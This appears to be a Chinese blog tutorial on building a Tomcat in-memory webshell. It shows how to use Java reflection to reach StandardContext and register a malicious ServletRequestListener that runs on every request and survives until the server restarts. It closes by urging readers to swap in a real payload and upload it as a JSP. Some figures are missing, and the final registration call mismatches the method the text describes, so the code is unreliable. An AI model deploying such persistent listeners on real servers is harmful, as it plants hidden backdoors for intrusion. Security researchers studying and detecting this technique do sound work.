什么是监听器
用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。
监听器类型
java共有三种类型的监听器
ServletContext对象的监听器
它能够监听 ServletContext 对象的生命周期,实际上就是监听 Web 应用的生命周期。也就是在web容器或者服务器开启或者关闭的时候会触发该监听器,该接口的方法

HttpSession对象的监听器
在session创建和销毁时会调用该监听器,该接口的方法

ServletRequest对象的监听器
在requets生成和销毁时会调用该监听器,该接口具有的方法

以上三个监听器接口均继承了EventListener

通过上面的介绍知道了各个监听器的作用已经使用场景,那么问题来了,如果你想用这三个监听器做坏事的话你会选谁,来看看第一个需要应用开启或者关闭肯定不适用,第二个需要session的创建或者销毁,好像也不太方便因为我们不清楚哪些功能触发session销毁或者创建,最后一个就很方便适用了,主要发起requests请求就能触发,所以是首选的监听器。
Java监听器在tomcat中的执行流程
这里创建一个Listener,实现ServletRequestListener

在两个方法任意一个方法打断点都可以,这里在第一个方法处打断点

发起请求获取其调用栈

从调用栈可以看出最终在StandardContext的fireRequestDestroyEvent方法中调用了销毁方法requestDestroyed,该方法的代码如下,功能就是获取listener数组,遍历并执行listener

这里看下这个获取listener数组的方法,返回的是个list对象

在StandardContext类中搜索该属性,有一个addApplicationEventListener方法用来向数组中存放listener

至此listener的调用过程就结束了,那么攻击点也就很明显了,只需要控制的到addApplicationEventListener方法,然后创建一个恶意的Listener,将该listener通过该方法添加到listener数组中去就能带入上面的fireRequestDestroyEvent方法去执行,从而执行恶意代码。
javax.servlet.ServletContext
servlet上下文。服务器会为每一个工程创建一个对象,这个对象就是ServletContext对象。这个对象全局唯一,而且工程内部的所有servlet都共享这个对象。所以叫全局应用程序共享对象。也就是说在web应用的任何地方都可以获取到这个对象。该接口中定义了非常多的方法来对web全局进行操作

Tomcat中实现ServletContext的几个类
org.apache.catalina.core. ApplicationContextFacade
该类在tomcat的catalina.jar包中,为ServletContext的实现类,该类的构造函数中传入了ApplicationContext

可通过该类获取到ApplicationContext

org.apache.catalina.core. ApplicationContext
该类构造方法中传入了StandardContext

可通过该方法获取到StandardContext

利用链
经过分析已经很明显了,可以通过上面这几个类的关系获取到StandardContext,然后通过反射调用该类的addApplicationEventListener方法添加恶意listener即可,根据调用链通过requests来获取StandardContext对象

//获取servletContext对象,在tomcat中实际上是获得的ApplicationContextFacade
ServletContext servletContext = request.getServletContext();
//通过反射获取ApplicationContextFacade的context字段为private final ApplicationContext context;ApplicationContext类型
Field app_field = servletContext.getClass().getDeclaredField("context");
app_field.setAccessible(true);
//获取Applation对象
ApplicationContext applicationContext = (ApplicationContext) app_field.get(servletContext);
//通过反射获取Application对象的Context字段,为 private final StandardContext context;
Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性
stdctx.setAccessible(true);
//获取standardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//调用listener
standardContext.addApplicationListener(String.valueOf(new exploitListener()));
恶意listener

访问任意url触发弹出计算器

服务器只要不关不重启该恶意listener就会一直驻留在内存中,利用的话,改下payload,写到jsp文件里传上去执行下就行啦
网友评论